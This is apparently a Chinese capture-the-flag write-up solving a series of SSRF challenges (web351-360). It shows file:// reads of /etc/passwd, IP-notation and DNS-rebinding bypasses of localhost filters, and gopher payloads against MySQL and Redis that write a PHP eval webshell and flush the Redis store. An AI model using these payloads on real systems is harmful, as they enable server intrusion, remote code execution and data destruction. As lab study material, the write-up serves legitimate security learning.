例题分析¶
web351¶
首先代码审计，简简单单的使用php的curl，发现没有过滤，尝试读取本地文件
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
post数据url=file:///etc/passwd，有回显，从Burp抓包信息我看到了是nginx尝试读取nginx的配置文件
url=file:///etc/nginx/nginx.conf
daemon off;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
}
没啥太多关键信息，主要是说了根目录，然后还发现这里有fastcgi！！！意味着我们可以通过gopher协议打fastcgi，我测试了ok的成功了，但是我们这里还是讲以下预期解
采用file协议读取flag.php
url=file:///var/www/html/flag.php
F12查看注释获取flag
<?php
$flag="flag{15a45540-97e2-47d8-a505-2cd9bac4ea94}";
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo $flag;
}
else{
die("非本地用户禁止访问");
}
?>
web352-353¶
进制绕过,这里有个在线转换网站
https://tool.520101.com/wangluo/jinzhizhuanhuan/
然后post
url=http://2130706433/flag.php
其他更改 IP 地址写法也行
十六进制 url=http://0x7F.0.0.1/flag.php 八进制 url=http://0177.0.0.1/flag.php 10 进制整数格式 url=http://2130706433/flag.php 16 进制整数格式，还是上面那个网站转换记得前缀0x url=http://0x7F000001/flag.php 还有一种特殊的省略模式 127.0.0.1写成127.1 用CIDR绕过localhost url=http://127.127.127.127/flag.php 还有很多方式不想多写了 url=http://0/flag.php url=http://0.0.0.0/flag.php
web354¶
DNS-Rebinding攻击绕过
url=http://r.xxxzc8.ceye.io/flag.php 自己去ceye.io注册绑定127.0.0.1然后记得前面加r
302跳转绕过也行，在自己的网站主页加上这个
<?php
header("Location:http://127.0.0.1/flag.php");
或者说群主说我丧心病狂的方式
我自己的域名A记录设为了127.0.0.1
或者有个现成的A记录是127.0.0.1的网站
url=http://sudo.cc/flag.php
web355¶
设置了$host<5的限制，随便来个利用127.0.0.1=127.1刚好是5位
url=http://127.1/flag.php
web356¶
更绝了限制$host<3，老规矩
url=http://0/flag.php
web357¶
关键代码，不能是一些私有地址
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
- FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
- FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
- FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
- FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
用web354说过的DNS-Rebinding与302跳转即可解题
web358¶
限制是这个
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
blackhat议题加上url解析特性php的curl默认是@后面的部分加上?url解析的时候会把他当成url解析的get请求参数
url=http://ctf.@127.0.0.1/flag.php?.show
web359¶
使用工具gopherus生成即可，工具地址
Give MySQL username: root Give query to execute: select '<?php eval($_POST[pass]); ?>' INTO OUTFILE '/var/www/html/2.php'; gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
然后注意
这部分url需要特殊字编码，curl会默认解码一次 %a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01
web360¶
没啥好说的gopher打redis
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bpass%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
然后访问shell.php，里面的内容是这个
<?php eval($_POST[pass]); ?>